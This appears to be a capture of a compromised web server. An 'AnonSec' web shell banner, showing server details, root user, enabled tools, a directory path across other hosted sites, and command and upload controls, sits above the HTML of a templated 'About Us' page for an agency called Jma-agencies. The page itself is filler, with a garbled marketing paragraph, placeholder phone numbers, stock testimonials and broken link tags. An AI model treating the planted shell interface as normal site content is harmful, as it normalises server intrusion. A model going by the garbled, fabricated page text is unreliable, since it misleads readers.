|
Server IP : 149.13.87.7 / Your IP : 185.174.145.2 Web Server : nginx System : Linux h2 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : root ( 0) PHP Version : 8.0.28 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /mnt/platforms/workspaces/shortable.org/../panchitobonaire.com/../jma-agencies.com/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>About Us - Jma-agencies</title>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://cdnjs.cloudflare.com/ajax/libs/flowbite/2.2.0/flowbite.min.css" rel="stylesheet" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&family=Plus+Jakarta+Sans:wght@300;400;500;600;700;800;900&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Inter', sans-serif;
padding-top: 80px;
}
h1, h2, h3, h4, h5, h6 {
font-family: 'Plus Jakarta Sans', sans-serif;
}
@media (max-width: 768px) {
body {
padding-top: 72px;
}
}
</style>
<link rel="stylesheet" href="assets/css/dynamic.css">
</head>
<body class="antialiased">
<nav class="bg-gradient-to-b from-white to-gray-50 fixed w-full z-50 top-0">
<div class="max-w-screen-xl mx-auto px-6 py-3 flex items-center justify-between">
<a href="./" class="flex items-center space-x-3">
<div class="relative">
<div class="w-12 h-12 rounded-2xl bg-gradient-to-br from-teal-600 to-cyan-600 flex items-center justify-center text-white text-xl font-black">
JM </div>
<div class="absolute -bottom-2 -left-2 px-2 py-1 text-xs font-semibold bg-white rounded-lg shadow">Trusted</div>
</div>
<div>
<div class="text-sm text-gray-400">Digital Business Experts</div>
<div class="text-2xl font-black text-gray-900">Jma-agencies</div>
</div>
</a>
<div class="hidden lg:flex items-center space-x-10">
<a href="./" class="text-gray-700 font-semibold hover:text-tealHome</a>
<a href="about-us.php" class="text-gray-700 font-semibold hover:text-teal-600 transition">About</a>
<a href="blog/" class="text-gray-700 font-semibold hover:text-tealBlog</a>
<a href="contact.php" class="px-5 py-2 rounded-full border border-gray-300 text-gray-900 font-semibold hover:border-teal-600 hover:text-teal-600 transition">Contact</a>
</div>
<div class="hidden lg:flex items-center space-x-4">
<div class="text-right">
<div class="text-xs uppercase text-gray-400">Hotline</div>
<div class="text-sm font-bold text-gray-900">+1234567890</div>
</div>
</div>
<button data-collapse-toggle="navbar-22" type="button" class="lg:hidden inline-flex items-center justify-center w-11 h-11 rounded-lg bg-gray-100 text-gray-600">
<svg class="w-6 h-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16" />
</svg>
</button>
</div>
<div class="hidden bg-white" id="navbar-22">
<div class="px-6 pb-6 space-y-4">
<a href="/Home</a>
<a href="about-us.php" class="block text-gray-700 font-semibold">About</a>
<a href="blog/" class="block text-gray-700 font-semibold">Blog</a>
<a href="contact.php" class="block text-center px-5 py-3 rounded-lg border border-gray-300 text-gray-900 font-semibold">Contact</a>
<div class="text-center text-sm text-gray-500">Hotline +1234567890</div>
</div>
</div>
</nav>
<section class="bg-white py-20" id="about">
<div class="max-w-screen-xl mx-auto px-4">
<div class="grid lg:grid-cols-2 gap-0">
<div class="relative">
<div class="sticky top-24 space-y-8">
<img src="https://images.unsplash.com/photo-Q1p7bh3SHj8?w=1200&h=800&fit=crop&auto=format&q=80" alt="About 1" class="rounded-2xl shadow-xl w-full h-[300px] object-cover">
<img src="https://images.unsplash.com/photo-5fNmWej4tAA?w=1200&h=800&fit=crop&auto=format&q=80" alt="About 2" class="rounded-2xl shadow-xl w-3/4 ml-auto h-[250px] object-cover">
</div>
</div>
<div class="pl-0 lg:pl-16 pt-12 lg:pt-0">
<div class="flex items-center space-x-3 mb-6">
<div class="w-12 h-12 bg-teal-600 rounded-full flex items-center justify-center">
<i class="fas fa-star text-white"></i>
</div>
<span class="text-teal-600 font-bold uppercase text-sm">Performance Enhancers</span>
</div>
<h2 class="text-5xl font-black text-gray-900 mb-8 leading-tight">
Drive Sustainable Growth with Our Expert eCommerce Solutions </h2>
<div class="space-y-6 mb-10">
<p class="text-lg text-gray-600 leading-relaxed">
Experience the profound impact of as ecommerce experts, we know that understanding your target audience is key to driving sales and revenue. our digital marketing agency offers a range of solutions designed to help you connect with your target customers, from personalized email marketing campaigns to influencer partnerships and more. with our help, you can build lasting relationships with your customers and achieve long-term growth for your business. on your journey. </p>
<div class="bg-teal-50 p-6 rounded-xl">
<h4 class="font-bold text-gray-900 mb-2">Our Mission</h4>
<p class="text-gray-700">Delivering excellence through innovation and dedication to our clients' success.</p>
</div>
<div class="grid grid-cols-2 gap-4">
<div class="text-center p-4 bg-gray-50 rounded-xl">
<div class="text-3xl font-black text-teal-600">500+</div>
<div class="text-sm text-gray-600">Projects</div>
</div>
<div class="text-center p-4 bg-gray-50 rounded-xl">
<div class="text-3xl font-black text-teal-600">98%</div>
<div class="text-sm text-gray-600">Success</div>
</div>
</div>
</div>
<a href="#contact" class="inline-block px-10 py-5 bg-teal-600 text-white font-bold rounded-xl hover:bg-teal-700 transition-all">
Find More Answers </a>
</div>
</div>
</div>
</section>
<section class="bg-gray-50 py-24" id="features">
<div class="max-w-screen-xl mx-auto px-4">
<div class="text-center mb-20">
<span class="text-teal-600 font-bold uppercase text-sm tracking-wider">Features</span>
<h2 class="mt-4 text-5xl font-black text-gray-900 mb-4">Why Choose Us</h2>
</div>
<div class="grid md:grid-cols-2 lg:grid-cols-3 gap-8">
<div class="bg-white rounded-3xl p-8 shadow-lg hover:shadow-2xl transition-all">
<div class="w-16 h-16 bg-gradient-to-br from-teal-500 to-cyan-600 rounded-2xl flex items-center justify-center mb-6">
<i class="fas fa-bolt text-white text-xl"></i>
</div>
<h3 class="text-2xl font-bold text-gray-900 mb-4">Lightning Fast</h3>
<p class="text-gray-600">Optimized for maximum speed</p>
</div>
<div class="bg-white rounded-3xl p-8 shadow-lg hover:shadow-2xl transition-all">
<div class="w-16 h-16 bg-gradient-to-br from-teal-500 to-cyan-600 rounded-2xl flex items-center justify-center mb-6">
<i class="fas fa-lock text-white text-xl"></i>
</div>
<h3 class="text-2xl font-bold text-gray-900 mb-4">Bank-Level Security</h3>
<p class="text-gray-600">Enterprise-grade protection</p>
</div>
<div class="bg-white rounded-3xl p-8 shadow-lg hover:shadow-2xl transition-all">
<div class="w-16 h-16 bg-gradient-to-br from-teal-500 to-cyan-600 rounded-2xl flex items-center justify-center mb-6">
<i class="fas fa-mobile-alt text-white text-xl"></i>
</div>
<h3 class="text-2xl font-bold text-gray-900 mb-4">Mobile Ready</h3>
<p class="text-gray-600">Perfect on any device</p>
</div>
<div class="bg-white rounded-3xl p-8 shadow-lg hover:shadow-2xl transition-all">
<div class="w-16 h-16 bg-gradient-to-br from-teal-500 to-cyan-600 rounded-2xl flex items-center justify-center mb-6">
<i class="fas fa-sync text-white text-xl"></i>
</div>
<h3 class="text-2xl font-bold text-gray-900 mb-4">Auto Updates</h3>
<p class="text-gray-600">Always up-to-date</p>
</div>
<div class="bg-white rounded-3xl p-8 shadow-lg hover:shadow-2xl transition-all">
<div class="w-16 h-16 bg-gradient-to-br from-teal-500 to-cyan-600 rounded-2xl flex items-center justify-center mb-6">
<i class="fas fa-users text-white text-xl"></i>
</div>
<h3 class="text-2xl font-bold text-gray-900 mb-4">Team Collaboration</h3>
<p class="text-gray-600">Work together seamlessly</p>
</div>
<div class="bg-white rounded-3xl p-8 shadow-lg hover:shadow-2xl transition-all">
<div class="w-16 h-16 bg-gradient-to-br from-teal-500 to-cyan-600 rounded-2xl flex items-center justify-center mb-6">
<i class="fas fa-chart-bar text-white text-xl"></i>
</div>
<h3 class="text-2xl font-bold text-gray-900 mb-4">Analytics</h3>
<p class="text-gray-600">Deep insights</p>
</div>
</div>
</div>
</section>
<section class="relative py-20 overflow-hidden" id="testimonials">
<div class="absolute inset-0 bg-gradient-to-br from-teal-100 via-white to-cyan-100"></div>
<div class="relative z-10 max-w-screen-xl mx-auto px-4">
<div class="bg-white rounded-3xl p-12 lg:p-20 shadow-2xl">
<div class="grid lg:grid-cols-3 gap-12">
<div>
<h2 class="text-4xl font-black text-gray-900 mb-6">Hear From Our Happy Clients</h2>
<p class="text-gray-600 mb-8">Real stories from real people who achieved amazing results</p>
<div class="space-y-4">
<div class="flex items-center space-x-4">
<div class="text-5xl font-black text-teal-600">5.0</div>
<div>
<div class="flex">
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
</div>
<div class="text-sm text-gray-600">2,450+ Reviews</div>
</div>
</div>
</div>
</div>
<div class="lg:col-span-2 space-y-6">
<div class="flex items-start space-x-4 p-6 bg-gray-50 rounded-xl">
<img src="https://randomuser.me/api/portraits/men/54.jpg" alt="Brandon Clark" class="w-14 h-14 rounded-full bg-gray-100 flex-shrink-0">
<div class="flex-1">
<div class="flex items-start justify-between mb-2">
<div>
<div class="font-bold text-gray-900">Brandon Clark</div>
<div class="text-sm text-gray-600">COO</div>
</div>
<div class="flex">
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
</div>
</div>
<p class="text-gray-700">"Operational excellence redefined. Our team productivity increased by 45% in six months."</p>
</div>
</div>
<div class="flex items-start space-x-4 p-6 bg-gray-50 rounded-xl">
<img src="https://randomuser.me/api/portraits/men/48.jpg" alt="Christopher Lee" class="w-14 h-14 rounded-full bg-gray-100 flex-shrink-0">
<div class="flex-1">
<div class="flex items-start justify-between mb-2">
<div>
<div class="font-bold text-gray-900">Christopher Lee</div>
<div class="text-sm text-gray-600">Managing Director</div>
</div>
<div class="flex">
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
</div>
</div>
<p class="text-gray-700">"ROI was evident within the first quarter. Their business acumen is second to none."</p>
</div>
</div>
<div class="flex items-start space-x-4 p-6 bg-gray-50 rounded-xl">
<img src="https://randomuser.me/api/portraits/men/31.jpg" alt="Monica Stevens" class="w-14 h-14 rounded-full bg-gray-100 flex-shrink-0">
<div class="flex-1">
<div class="flex items-start justify-between mb-2">
<div>
<div class="font-bold text-gray-900">Monica Stevens</div>
<div class="text-sm text-gray-600">Founder</div>
</div>
<div class="flex">
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
<i class="fas fa-star text-yellow-400 text-xs"></i>
</div>
</div>
<p class="text-gray-700">"Strategic guidance that actually works. They helped us scale from 10 to 100 employees seamlessly."</p>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<footer class="bg-white border-t-2 border-gray-100 py-16">
<div class="max-w-screen-xl mx-auto px-4">
<div class="grid md:grid-cols-4 gap-12 mb-12">
<div class="md:col-span-2">
<a href="./" class="flex items-center space-x-3 mb-6">
<div class="w-12 h-12 bg-gradient-to-br from-teal-500 to-cyan-600 rounded-xl flex items-center justify-center">
<span class="text-white font-bold text-xl">J</span>
</div>
<span class="text-2xl font-black text-gray-900">Jma-agencies</span>
</a>
<p class="text-gray-600 mb-6 max-w-md">Delivering excellence and innovation to help you achieve your goals.</p>
<div class="flex space-x-3">
<a href="#" class="w-10 h-10 bg-gray-100 hover:bg-teal-600 hover:text-white rounded-lg flex items-center justify-center transition-all text-gray-600">
<i class="fab fa-facebook-f"></i>
</a>
<a href="#" class="w-10 h-10 bg-gray-100 hover:bg-teal-600 hover:text-white rounded-lg flex items-center justify-center transition-all text-gray-600">
<i class="fab fa-twitter"></i>
</a>
<a href="#" class="w-10 h-10 bg-gray-100 hover:bg-teal-600 hover:text-white rounded-lg flex items-center justify-center transition-all text-gray-600">
<i class="fab fa-linkedin-in"></i>
</a>
<a href="#" class="w-10 h-10 bg-gray-100 hover:bg-teal-600 hover:text-white rounded-lg flex items-center justify-center transition-all text-gray-600">
<i class="fab fa-instagram"></i>
</a>
</div>
</div>
<div>
<h3 class="text-lg font-bold mb-6 text-gray-900">Company</h3>
<ul class="space-y-3 text-gray-600">
<li><a href="./" class="hover:text-tealHome</a></li>
<li><a href="about-us.php" class="hover:text-teal-600 transition-colors">About</a></li>
<li><a href="blog/" class="hover:text-tealBlog</a></li>
<li><a href="contact.php" class="hover:text-teal-600 transition-colors">Contact</a></li>
</ul>
</div>
<div>
<h3 class="text-lg font-bold mb-6 text-gray-900">Legal</h3>
<ul class="space-y-3 text-gray-600">
<li><a href="privacy.php" class="hover:text-teal-600 transition-colors">Privacy</a></li>
<li><a href="terms.php" class="hover:text-teal-600 transition-colors">Terms</a></li>
<li><a href="disclaimer.php" class="hover:text-teal-600 transition-colors">Disclaimer</a></li>
</ul>
</div>
</div>
<div class="border-t border-gray-200 pt-8">
<p class="text-gray-500 text-sm text-center">© 2026 Jma-agencies. All rights reserved.</p>
</div>
</div>
</footer>
<script src="https://cdnjs.cloudflare.com/ajax/libs/flowbite/2.2.0/flowbite.min.js"></script>
</body>
</html>
AnonSec - 2021